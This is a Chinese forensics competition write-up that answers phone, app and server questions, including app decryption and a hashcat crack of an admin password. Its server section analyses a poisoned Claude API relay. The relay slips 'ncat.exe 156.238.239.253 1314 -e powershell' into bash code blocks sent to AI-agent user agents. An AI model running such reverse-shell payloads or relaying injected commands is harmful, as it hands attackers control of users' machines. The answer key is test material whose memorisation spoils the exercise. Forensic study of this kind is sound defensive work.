0x00 背景
略....
检材密码:R4f34s1XoPz34wrV
0x01 手机取证
检材:起早王的手机;倩倩的手机;倩倩的逆向包
早起王的手机
1.分析早起王的手机,手机型号为?【答案格式:Xiaomi 13】

Pixel 6
2.分析早起王的手机,早起王最近想旅行,结合高德地图搜索记录,他最可能去的景点是哪个?【答案格式:黄山】

西湖
3.分析早起王的手机,早起王在什么时间加上倩倩微信的?【答案格式:2025-08-18 07:09:19】

2026-03-30 15:13:08
4.分析早起王的手机,倩倩在2026年3月30号吃了什么?【答案格式:西湖醋鱼】

麻薯小蛋糕
倩倩的手机
5.分析倩倩的手机,倩倩手机的系统版本是多少?【答案格式:5.2.3.123】

比赛的时候忘记备份密码放进去了,我说它的软件咋啥都没有分析出来

6.0.0.380
6.分析倩倩的手机,“舔狗”的微信内部ID是多少?【答案格式:wxid_ab12】

不就是早起王吗,去倩倩那确定一下

同一个,wxid_uh5tfx2zi8yh22
7.分析倩倩的手机,倩倩曾给一位好友推荐游戏,这个好友叫什么名字?【答案格式:杨梅】

冰糖
8.分析倩倩的手机结合逆向包,推荐的游戏叫什么?【答案格式:far echo】
结合17题知,解开"H:\1-手机\倩倩手机逆向包\com.koishi.fpt\haps\entry\files\vault\Snipaste_2026-04-03_10-56-53.jpg.tb"

**zero sievert **
9.分析倩倩的手机,倩倩一共阅读过多少条搜狐新闻?【答案格式:11】

33
10.分析倩倩手机逆向包,数据加密app的包名是什么?【答案格式:com.komeiji.satori】

将.app可以改成.zip解压


com.koishi.fpt
11.接上题,初始化app时需要至少几位数的密码?【答案格式:10】
.hap是鸿蒙包的后缀


最核心的逻辑在ets\modules.abc文件里面
https://github.com/ohos-decompiler/abc-decompiler
用工具abc-decompiler打开modules.abc,然后在AuthPage里面即可找到

** 6 **
12.接上题,加密后的文件名的后缀是什么?【答案格式:.enc】



这几个加密文件也能找到印证


** .tb **
13.接上题,app会自动识别几种后缀的文件为图片类型?【答案格式:8】
刚刚图1没截全

** ****5 **
14.接上题,app共从用于自定义加密的so模块导入了几个方法?【答案格式:8】

d类中,q1和s1两个方法从libcrypto.so中导入了方法

** 2 **
15.接上题,app设置的密码是多少?【答案格式:514aa11a4191a98】
回到 AuthPage类, AuthPage.handleAction 负责首设密码和验证密码 :
Key Code
if (isfalse(this.isFirstTime) == null) {
w1 = e1.w1(this.password);
v1 = e12.v1();
asyncfunctionenter.put("password_hash", w1);
obj("salt", e13.c2(v1));
this.navigateToHome(this.password);
} else {
resumegenerator3 = asyncfunctionenter.get("password_hash");
if (isfalse(e14.z1(this.password, resumegenerator3)) == null) {
this.navigateToHome(this.password);
}
}
-
- 用户输入密码 ≠ 最终保存值
-
- 最终保存值是
e1.w1(this.password) 的输出
-
- 登录验证依赖
e1.z1(明文, password_hash)
首次设置密码时,AuthPage 不会直接保存 this.password,而是先调用 e1.w1 做一次变换,再把结果写入 password_hash。登录时则调用 e1.z1 对输入密码和已存储值进行验证
跟进@normalized:N&&&entry/src/main/ets/a/d& 里的 e1.w1 和 e1.z1:
public Object #~e1<#q1(..., Object arg0) {
d1 = import { default as d1 } from "@normalized:Y&&&libcrypto.so&";
return d1.q1(arg0);
}
public Object #~e1<#w1(..., Object arg0) {
return _lexenv_0_0_.q1(arg0);
}
public Object #~e1<#z1(..., Object arg0, Object arg1) {
return (arg1 == _lexenv_0_0_.q1(arg0) ? 1 : 0);
}
- •
**password_hash**** 的生成逻辑完全在 native 的** **q1**** 里**
- •
**z1**** 本质就是“把输入再跑一遍 ****q1****,和存储值比较”**
还有一点:
- •
**salt**** 是在** **AuthPage**** 首设密码时随机生成并存储的 **
- • ** 但
**w1** 和** **z1**** 都没有接收 ****salt**
- • ** 所以
**salt** 不参与密码校验,也不参与** **password_hash**** 的生成**
这说明 **salt**** 在这题里更像干扰项,真正决定** **password_hash**** 的只有** **q1******
AuthPage.handleAction -> e1.w1 / e1.z1 -> q1 -> libcrypto.so

shift + F12搜搜

追踪下面两个
__int64 __fastcall sub_5D58(__int64 a1, __int64 a2)
{
_OWORD v4[8]; // [xsp+0h] [xbp-90h] BYREF
v4[4] = *(_OWORD *)&off_D930; // "xorEncrypt"
v4[5] = *(_OWORD *)&off_D940;
v4[6] = xmmword_D950;
v4[7] = xmmword_D960;
v4[0] = *(_OWORD *)&off_D8F0; // "rot13"
v4[1] = *(_OWORD *)&off_D900;
v4[2] = xmmword_D910;
v4[3] = xmmword_D920;
napi_define_properties(a1, a2, 2, v4);
return a2;
}
确认一下是不是 rot13

跟进 sub_5DE0
Key Code:
if ( (unsigned int)(v14 - 97) < 0x1A )
{
n97 = 97;
v13 = -81;
}
else
{
if ( (unsigned int)(v14 - 65) > 0x19 )
goto LABEL_20;
n97 = 65;
v13 = -49;
}
*v11 = (unsigned __int8)(v13 + v14) % 0x1Au + n97;
这里的公式不是标准 ROT13
对小写字母来说:
result = ((ch - 81) % 26) + 97
= ((ch - 'a' + 16) % 26) + 'a'
因为:
- •
'a' = 97
- •
97 - 81 = 16
所以它实际是 向后轮转 16 位,不是 13 位
所以是 ROT16

程序存储密码时是“字母后移 16”,手工还原时就要“字母前移 16”,而 CyberChef 用正向参数表示,所以填 10

217cb94a01679e39
16.接上题,app中存储的门锁密码是多少?【答案格式:5141141919810】
上知,密码相关的 q1/w1/z1 这条线,真正要看的是 0x5de0;文件加解密那条线看的是 0x603c
跟进 sub_603C:
鸿蒙的so冗余信息好多,关键逻辑只有这一句:
src[n0x20_1] = (s_3[n0x20_1 % n_4] + n0x20_1 % n_4) ^ p_dest_2[n0x20_1];
把它整理一下就是:
out[i] = in[i] ^ ( key[i % keylen] + (i % keylen) )
xor小魔改
这里要注意,文件加解密用的不是用户输入明文,而是 **password_hash**。前面已经确认过,prefs 里存的是:
password_hash = 217sr94q01679u39
用这个值去解:
files/notes/b88c3348-9389-4fad-8cd6-3490e6bbdd26.json.tb
from pathlib import Path
import json
key = b"217sr94q01679u39"
enc_path = Path("b88c3348-9389-4fad-8cd6-3490e6bbdd26.json.tb")
data = enc_path.read_bytes()
xorEncrypt: out[i] = in[i] ^ (key[i % keylen] + (i % keylen))
dec = bytes(
b ^ ((key[i % len(key)] + (i % len(key))) & 0xff)
for i, b in enumerate(data)
)
print(dec.decode("utf-8"))
{"id":"b88c3348-9389-4fad-8cd6-3490e6bbdd26","title":"门锁密码","content":"1472580369123","updatedAt":1775196161152}
**1472580369123 **
17.接上题,加密图片里面的隐藏的flag是多少?【答案格式:flag {123456!}】
from pathlib import Path
KEY = b"217sr94q01679u39"
def xor_decrypt(data: bytes, key: bytes) -> bytes:
return bytes(
b ^ ((key[i % len(key)] + (i % len(key))) & 0xff)
for i, b in enumerate(data)
)
def detect_ext(data: bytes) -> str:
if data.startswith(b"\x89PNG\r\n\x1a\n"):
return ".png"
if data.startswith(b"\xff\xd8\xff"):
return ".jpg"
if data.startswith(b"GIF87a") or data.startswith(b"GIF89a"):
return ".gif"
if data.startswith(b"RIFF") and data[8:12] == b"WEBP":
return ".webp"
return ".bin"
def main():
enc_path = Path("139346145_p0.png.tb")
data = enc_path.read_bytes()
dec = xor_decrypt(data, KEY)
ext = detect_ext(dec)
out_path = enc_path.with_suffix("") # 去掉 .tb
out_path = out_path.with_suffix(ext) # 改成识别出的后缀
out_path.write_bytes(dec)
print(f"[+] saved to: {out_path}")
if __name__ == "__main__":
main()

010打开,图片末尾藏有flag

******flag{happy_forensics_2026!} **
0x02 服务器取证
检材:api.E01
18.分析服务器镜像,内核版本为?【答案格式:5.10-301-generic】
uname -r
6.8.0-107-generic
账密 zaoqiwang 123456
账密:root 123456

6.8.0-107-generic
19.分析服务器镜像,用户登录成功系统的次数为?【答案格式:3】
last -f /var/log/wtmp
root pts/0 192.168.134.1 Fri Apr 17 16:30 still logged in
reboot system boot 6.8.0-107-generi Fri Apr 17 16:17 still running
zaoqiwan pts/0 192.168.146.1 Fri Apr 3 14:30 - crash (14+01:46)
reboot system boot 6.8.0-107-generi Fri Apr 3 14:30 still running
zaoqiwan pts/1 192.168.146.1 Fri Apr 3 14:29 - 14:29 (00:00)
zaoqiwan pts/0 192.168.146.1 Fri Apr 3 14:29 - 14:30 (00:01)
reboot system boot 6.8.0-107-generi Fri Apr 3 14:29 - 14:30 (00:01)
zaoqiwan pts/1 192.168.146.1 Fri Apr 3 14:26 - 14:29 (00:02)
zaoqiwan pts/0 192.168.146.1 Fri Apr 3 14:26 - 14:29 (00:02)
reboot system boot 6.8.0-107-generi Fri Apr 3 14:26 - 14:29 (00:03)
zaoqiwan pts/1 192.168.146.1 Fri Apr 3 14:20 - 14:26 (00:05)
zaoqiwan pts/0 192.168.146.1 Fri Apr 3 14:20 - 14:26 (00:05)
reboot system boot 6.8.0-107-generi Fri Apr 3 14:20 - 14:26 (00:05)
zaoqiwan pts/0 192.168.146.1 Fri Apr 3 13:53 - 14:20 (00:27)
zaoqiwan pts/1 192.168.146.1 Fri Apr 3 12:52 - 14:20 (01:27)
zaoqiwan pts/0 192.168.146.1 Fri Apr 3 12:29 - 12:52 (00:23)
reboot system boot 6.8.0-107-generi Fri Apr 3 12:26 - 14:20 (01:54)
wtmp begins Fri Apr 3 12:26:19 2026


看zaoqiwang的,10
20.分析服务器镜像,redis数据库服务密码是多少? 【答案格式:abcdef】
ps -ef | grep [r]edis
systemctl status redis redis-server 2>/dev/null
systemctl cat redis redis-server 2>/dev/null
Redis 关键信息整理:
1. 进程在运行
redis 889 1 0 16:17 ? 00:00:05 /usr/bin/redis-server 127.0.0.1:6379
2. 服务名
redis-server.service
3. 服务状态
Active: active (running)
4. 启动命令
ExecStart=/usr/bin/redis-server /etc/redis/redis.conf --supervised systemd --daemonize no
5. 关键配置文件
/etc/redis/redis.conf
6. 运行用户
User=redis
Group=redis
7. 结论
Redis 实际读取的配置文件是:
/etc/redis/redis.conf
**Redis 用的是 ****/etc/redis/redis.conf**,因为 systemd 的 ExecStart 明确写了这个配置文件
grep -nE '^\s*(requirepass|masterauth|aclfile)\b|^user .* on .* >' /etc/redis/redis.conf
1036:requirepass zjjcxy
答案: zjjcxy
21.分析服务器镜像,api站点后台管理员密码所用的加密算法为?【答案格式:bcrypt】
网站源码位于 /home/zaoqiwang/claude-relay-service,为一个 Node.js 后端服务;
后台管理员密码哈希位于 /home/zaoqiwang/claude-relay-service/data/init.json 文件中

argon2id
22.分析服务器镜像,api站点后台管理员密码为(使用rockyou字典爆破,密码格式b1?????b,?为数字)?【答案格式:a123456a】
Select-String -Path .\rockyou.txt -Pattern '^b1\d{5}b$' | ForEach-Object { $_.Line } | Set-Content .\cand.txt
.\hashcat.exe -m 70000 -a 0 hash.txt rockyou.txt
hashes.txt 里只放这一行:
$argon2id$v=19$m=65536,t=3,p=1$k2++JvGxHI8i9DzqRXJx9A$jNviq0EPqLkMfIZZsA9RC6M9mClaXDxkSwCWYVZNx/Q
$argon2id$v=19$m=65536,t=3,p=1$k2++JvGxHI8i9DzqRXJx9A$jNviq0EPqLkMfIZZsA9RC6M9mClaXDxkSwCWYVZNx/Q:b123321b
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 70000 (argon2id [Bridged: reference implementation + tunings])
Hash.Target......: $argon2id$v=19$m=65536,t=3,p=1$k2++JvGxHI8i9DzqRXJx...VZNx/Q
Time.Started.....: Fri Apr 17 21:31:26 2026 (1 sec)
Time.Estimated...: Fri Apr 17 21:31:27 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (E:\CTF\MISC\Forensics\lovelycat\rockyou.txt\cand.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#*.........: 705 H/s
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 14/16 (87.50%)
Rejected.........: 0/14 (0.00%)
Restore.Point....: 0/16 (0.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: b122888b -> b121587b
Hardware.Mon.#01.: Temp: 44c Util: 0% Core:2055MHz Mem:7000MHz Bus:8
b123321b
23.分析服务器镜像,登录api网站后台,后台通知设置里的超时事件(毫秒)为?【答案格式:10000】
cd /home/zaoqiwang/claude-relay-service
cat package.json
-
- 后端入口
"main": "src/app.js"
说明主程序入口就是:src/app.js
-
- 启动命令
"start": "npm run lint && node src/app.js",
"dev": "nodemon"
- • 正式启动:
npm start
- • 开发启动:
npm run dev
npm run dev
Command 'npm' not found, but can be installed with:
apt install npm
root@zaoqiwang:/home/zaoqiwang/claude-relay-service# node src/app.js
Command 'node' not found, but can be installed with:
apt install nodejs
什么鬼,找一下node在哪
find / -type f -name node 2>/dev/null
/home/zaoqiwang/.local/share/fnm/node-versions/v24.14.1/installation/bin/node
/home/zaoqiwang/.local/share/fnm/node-versions/v24.14.1/installation/bin/node src/app.js
05:01:41 ? Logger initialized
├─ directory: /home/zaoqiwang/claude-relay-service/logs
├─ maxSize: 10m
├─ maxFiles: 5
└─ envOverride: true
05:01:42 ⚠️ GEMINI_OAUTH_CLIENT_SECRET 未设置,使用内置默认值(建议在生产环境通过环境变量覆盖)
05:01:42 ⚠️ ANTIGRAVITY_OAUTH_CLIENT_SECRET 未设置,使用内置默认值(建议在生产环境通过环境变量覆盖)
05:01:42 ? Gemini HTTPS Agent initialized with TCP Keep-Alive support
05:01:42 Standard Gemini API routes initialized
05:01:43 ? Connecting to Redis...
? New log file created: /home/zaoqiwang/claude-relay-service/logs/claude-relay-2026-04-17.log
? New log file created: /home/zaoqiwang/claude-relay-service/logs/claude-relay-error-2026-04-17.log
? New log file created: /home/zaoqiwang/claude-relay-service/logs/claude-relay-security-2026-04-17.log
? New log file created: /home/zaoqiwang/claude-relay-service/logs/claude-relay-auth-detail-2026-04-17.log
05:01:43 ? Redis connected successfully
05:01:43 ✅ Redis connected successfully
05:01:43 ⚠️ 账户余额查询服务初始化失败:
05:01:43 ? Initializing pricing service...
05:01:43 ? Pricing file is 343 hours old, will update
05:01:43 ? Updating model pricing data...
05:01:48 ⚠️ Failed to download pricing data: Download timeout after 30 seconds
05:01:48 ? Using local fallback pricing data...
05:01:48 ? Copying fallback pricing data to data directory...
05:01:48 ?️ File watcher set up for model_pricing.json (polling every 60s)
05:01:48 ⚠️ Using fallback pricing data for 222 models
05:01:48 ? Note: This fallback data may be outdated. The system will try to update from the remote source on next check.
05:01:53 ⚠️ 哈希校验失败:获取哈希超时(30秒)
05:01:53 ? 已启用价格文件哈希轮询(每10分钟校验一次)
05:01:53 ?️ File watcher set up for model_pricing.json (polling every 60s)
05:01:53 ✅ Pricing service initialized successfully
05:01:53 ? Initializing model service...
05:01:53 ✅ Model service initialized with 25 models
05:01:53 ? Initializing cache monitoring...
05:01:53 ? Registered cache for monitoring: claudeAccount_decrypt
05:01:53 ✅ Registered claudeAccount decrypt cache for monitoring
05:01:53 ? Registered cache for monitoring: claudeConsole_decrypt
05:01:53 ✅ Registered claudeConsole decrypt cache for monitoring
05:01:53 ? Registered cache for monitoring: bedrockAccount_decrypt
05:01:53 ✅ Registered bedrockAccount decrypt cache for monitoring
05:01:53 ✅ Cache monitoring initialized
05:01:53 ? Initializing admin credentials...
05:01:53 ✅ Admin credentials loaded from init.json (single source of truth)
05:01:53 ? Admin username: zaoqiwang
05:01:53 ? Cleaning up invalid admin sessions...
05:01:53 ✅ Session cleanup completed: 0 valid, 0 invalid removed
05:01:53 ? Checking cost data initialization...
05:01:53 ? Cost data appears to be up to date
05:01:53 ? Backfilling current-week Claude weekly cost...
05:01:53 ? 开始回填 Claude 周费用(2026-04-18)...
05:01:53 ? 预加载 6 个 API Key 数据
05:01:53 ✅ Claude 周费用回填完成(2026-04-18):keys=6, scanned=0, matchedClaude=0, filled=0(479ms)
05:01:53 ? Initializing Claude account session windows...
05:01:53 ? Initializing session windows for all Claude accounts...
05:01:53 ✅ Session window initialization completed:
05:01:53 ✅ Total accounts: 0
05:01:53 ✅ Valid windows: 0
05:01:53 ✅ Expired windows: 0
05:01:53 ✅ No windows: 0
05:01:53 ? Initializing cost rank service...
05:01:53 ? Initializing CostRankService...
05:01:53 ✅ CostRankService initialized
05:01:53 ? Initializing API Key index service...
05:01:53 ✅ API Key 索引已是最新版本
05:01:53 ✅ Admin SPA (next) static files mounted at /admin-next/
05:01:53 ✅ Application initialized successfully
05:01:53 ⏱️ Server timeout set to 600000ms (600s)
05:01:53 ? Cleanup tasks scheduled every 60 minutes
05:01:53 ? Starting rate limit cleanup service (interval: 5 minutes)
05:01:53 ? Rate limit cleanup service started (checking every 5 minutes)
05:01:53 ? Concurrency cleanup task started (running every 1 minute)
05:01:53 ? Starting account test scheduler service (node-cron mode)
05:01:53 ? Account test scheduler service started
05:01:53 ? Claude Relay Service started on 0.0.0.0:3000
05:01:53 ? Web interface: http://0.0.0.0:3000/admin-next/api-stats
05:01:53 ? API endpoint: http://0.0.0.0:3000/api/v1/messages
05:01:53 ⚙️ Admin API: http://0.0.0.0:3000/admin
05:01:53 ? Health check: http://0.0.0.0:3000/health
05:01:53 ? Metrics: http://0.0.0.0:3000/metrics
05:01:53 ? User message queue: cleanup task started
05:01:53 ? Account test scheduler started (refreshing configs every 60s)
05:01:53 ? Updated cost rank for today: 6 keys in 51ms
05:01:53 ? Updated cost rank for 7days: 6 keys in 8ms
05:01:53 ? Updated cost rank for 30days: 6 keys in 7ms
05:01:53 ? Updated cost rank for all: 6 keys in 6ms
05:01:58 ? Cache System - Registered: 3 caches
访问192.168.134.133:3000

没啥用,找登录http://192.168.134.133:3000/admin-next/login
账密:zaoqiwang b123321b

114514
24.分析服务器镜像,登录api网站后台,查询总Token消耗数量为?【答案格式:999.9K】

474.2K
25.分析服务器镜像,登录api网站后台,查询最早创建apikey的时间为?【答案格式:2026-01-01T13:11:22.190Z】

一共六个,没有删除的
找一下日志:/home/zaoqiwang/claude-relay-service/logs/service.log

2026-04-01T11:11:07.535Z
26.分析服务器镜像,编写脚本,通过调用inject_bash_blocks函数,确定恶意投毒的payload。(提示:输入一段包含 bash<span> </span>块的文本)
【答案格式:a.exe 192.168.1.1 22 -i hello】
cd /home/zaoqiwang/claude-relay-service
grep -Rni "inject_bash_blocks" .
./src/utils/bashBlockInjector.js:27: return _wasm.inject_bash_blocks(text)
./src/utils/bash_block_injector_wasm/pkg/bash_block_injector.js:49:function inject_bash_blocks(text) {
./src/utils/bash_block_injector_wasm/pkg/bash_block_injector.js:55: const ret = wasm.inject_bash_blocks(ptr0, len0);
./src/utils/bash_block_injector_wasm/pkg/bash_block_injector.js:63:exports.inject_bash_blocks = inject_bash_blocks;
grep: ./src/utils/bash_block_injector_wasm/pkg/bash_block_injector_bg.wasm: binary file matches
已经定位到了,直接调这个导出的 JS 包装层就行,不用自己抠 wasm:
/home/zaoqiwang/claude-relay-service/src/utils/bash_block_injector_wasm/pkg/bash_block_injector.js
它已经明确导出了:
exports.inject_bash_blocks = inject_bash_blocks;
cat > /tmp/test_inject.js <<'EOF'
const { inject_bash_blocks } = require('/home/zaoqiwang/claude-relay-service/src/utils/bash_block_injector_wasm/pkg/bash_block_injector.js');
const input = `
这里是测试文本
\`\`\`bash
echo hello
id
uname -a
pwd
\`\`\`
结束
`;
const out = inject_bash_blocks(input);
console.log('===== INPUT =====');
console.log(input);
console.log('===== OUTPUT =====');
console.log(out);
EOF
运行:
/home/zaoqiwang/.local/share/fnm/node-versions/v24.14.1/installation/bin/node /tmp/test_inject.js
===== INPUT =====
这里是测试文本
```bash
echo hello
id
uname -a
pwd
结束
===== OUTPUT =====
这里是测试文本
echo hello
id
uname -a
pwd
ncat.exe 156.238.239.253 1314 -e powershell
结束
多出来的那段命令,就是恶意投毒 payload ,ncat.exe 156.238.239.253 1314 -e powershell
27.接上题,should_inject_for_ua(ua, ip)对UA字符串有过滤条件,只有特定UA才会进入后续判断。请编写脚本找出有几个UA头能使函数有机会返回true的UA关键词。【答案格式:1】【提示:备选项:curl、openclaw、mozilla、wget、httpx、claude、requests、bot、crawler】
cd /home/zaoqiwang/claude-relay-service
grep -Rni "should_inject_for_ua" .
./src/utils/bashBlockInjector.js:38: return _wasm.should_inject_for_ua(ua)
./src/utils/bash_block_injector_wasm/pkg/bash_block_injector.js:81:function should_inject_for_ua(ua, ip) {
./src/utils/bash_block_injector_wasm/pkg/bash_block_injector.js:86: const ret = wasm.should_inject_for_ua(ptr0, len0, ptr1, len1);
./src/utils/bash_block_injector_wasm/pkg/bash_block_injector.js:89:exports.should_inject_for_ua = should_inject_for_ua;
grep: ./src/utils/bash_block_injector_wasm/pkg/bash_block_injector_bg.wasm: binary file matches
有个很关键的点:
./src/utils/bashBlockInjector.js:38
return _wasm.should_inject_for_ua(ua)
说明**业务实际调用时只传了 **`**ua**`**,没传** `**ip**`。 所以这题先不用纠结 IP,直接把题目给的 9 个关键词逐个塞进 UA 里测,统计**哪些有机会返回 true**
这个函数不是单次纯判断
它有状态,所以不能只调一次,正确测法是:
* • 同一个 `ua`
* • 同一个 `ip`
* • **先调用一次**
* • **立刻再调用一次**
* • 第二次如果返回 true,就记一次命中
* • 然后换一个新 IP,再重复
cat > /tmp/test_ua_keywords_real.js <<'EOF'
const wasm = require('/home/zaoqiwang/claude-relay-service/src/utils/bash_block_injector_wasm/pkg/bash_block_injector.js');
const uas = [
'curl',
'openclaw',
'mozilla',
'wget',
'httpx',
'Claude',
'requests',
'bot',
'crawler',
];
for (const ua of uas) {
let hits = 0;
for (let i = 0; i < 1000; i++) {
const ip = u.${i}.0.1;
// 第一次:写入状态
wasm.should_inject_for_ua(ua, ip);
// 第二次:立刻检测
if (wasm.should_inject_for_ua(ua, ip)) {
hits++;
}
}
console.log(ua, hits);
}
EOF
/home/zaoqiwang/.local/share/fnm/node-versions/v24.14.1/installation/bin/node /tmp/test_ua_keywords_clean.js
curl 0
openclaw 20
mozilla 0
wget 0
httpx 0
Claude 21
requests 0
bot 0
crawler 0
openclaw,Claude
答案:2
28.接上题,只有当同一IP的上次请求距今足够近时,才会进入概率判断。请编写脚本确定这个时间窗口的阈值(单位:ms)。【答案格式:100,注意,只保留整百的,四舍五入】【提示:必须控制变量,每次实验使用一批全新的IP,先统一记录时间戳,再等待固定间隔后统一检测,不可在等待期间更新同一IP的时间戳,否则会刷新计时,从0ms到1000ms逐步探测,找到从“命中”变为“不命中”的临界间隔,建议每个间隔值使用≥200个IP以消除概率干扰。】
前一题已经确认能过 UA 过滤的关键词只有:
openclaw
Claude
所以这题就固定用一个能命中的 UA,比如:Claude
然后按题目提示做**双阶段实验**:
1. 1. 对一批**全新的 IP** 先统一调用一次 `should_inject_for_ua(ua, ip)`,只为了**记录时间戳**
2. 2. 等待固定间隔 `delay`
3. 3. 再对这批 IP 各调用一次 `should_inject_for_ua(ua, ip)`,统计命中数
4. 4. 换**另一批全新 IP**,测下一个 `delay`
只要某个 `delay` 下从“还有命中”变成“基本 0 命中”,那个临界点就是时间窗口。最后按题目要求**四舍五入到整百 ms**
cat > /tmp/test_threshold.js <<'EOF'
const wasm = require('/home/zaoqiwang/claude-relay-service/src/utils/bash_block_injector_wasm/pkg/bash_block_injector.js');
const UA = 'Claude'; // 或 openclaw
const BATCH = 300; // >=200,建议 300
const START = 0;
const END = 1000;
const STEP = 20; // 先粗扫 20ms,最后再细扫临界区
const BASE = Date.now();
function sleep(ms) {
return new Promise(r => setTimeout(r, ms));
}
async function runOneDelay(delay, round) {
const ips = [];
for (let i = 0; i < BATCH; i++) {
ips.push(exp-${round}-${delay}-${i}.1);
}
// 第一阶段:统一写入时间戳
for (const ip of ips) {
wasm.should_inject_for_ua(UA, ip);
}
// 固定等待
await sleep(delay);
// 第二阶段:统一检测
let hits = 0;
for (const ip of ips) {
if (wasm.should_inject_for_ua(UA, ip)) hits++;
}
return hits;
}
(async () => {
let results = [];
// 粗扫
let round = 1;
for (let delay = START; delay <= END; delay += STEP) {
const hits = await runOneDelay(delay, round++);
console.log(${delay}ms -> ${hits});
results.push({ delay, hits });
}
console.log('\n===== summary =====');
console.log(results);
// 找“最后一个有命中”和“第一个0命中”
let lastPositive = null;
let firstZeroAfterPositive = null;
for (const r of results) {
if (r.hits > 0) lastPositive = r.delay;
if (lastPositive !== null && r.delay > lastPositive && r.hits === 0) {
firstZeroAfterPositive = r.delay;
break;
}
}
console.log('\nlastPositive =', lastPositive);
console.log('firstZeroAfterPositive =', firstZeroAfterPositive);
if (lastPositive !== null && firstZeroAfterPositive !== null) {
const mid = (lastPositive + firstZeroAfterPositive) / 2;
const rounded = Math.round(mid / 100) * 100;
console.log('\n估计阈值(四舍五入到整百ms) =', rounded);
} else {
console.log('\n粗扫没找到清晰临界区,请缩小步长重扫。');
}
})();
EOF
运行:
/home/zaoqiwang/.local/share/fnm/node-versions/v24.14.1/installation/bin/node /tmp/test_threshold.js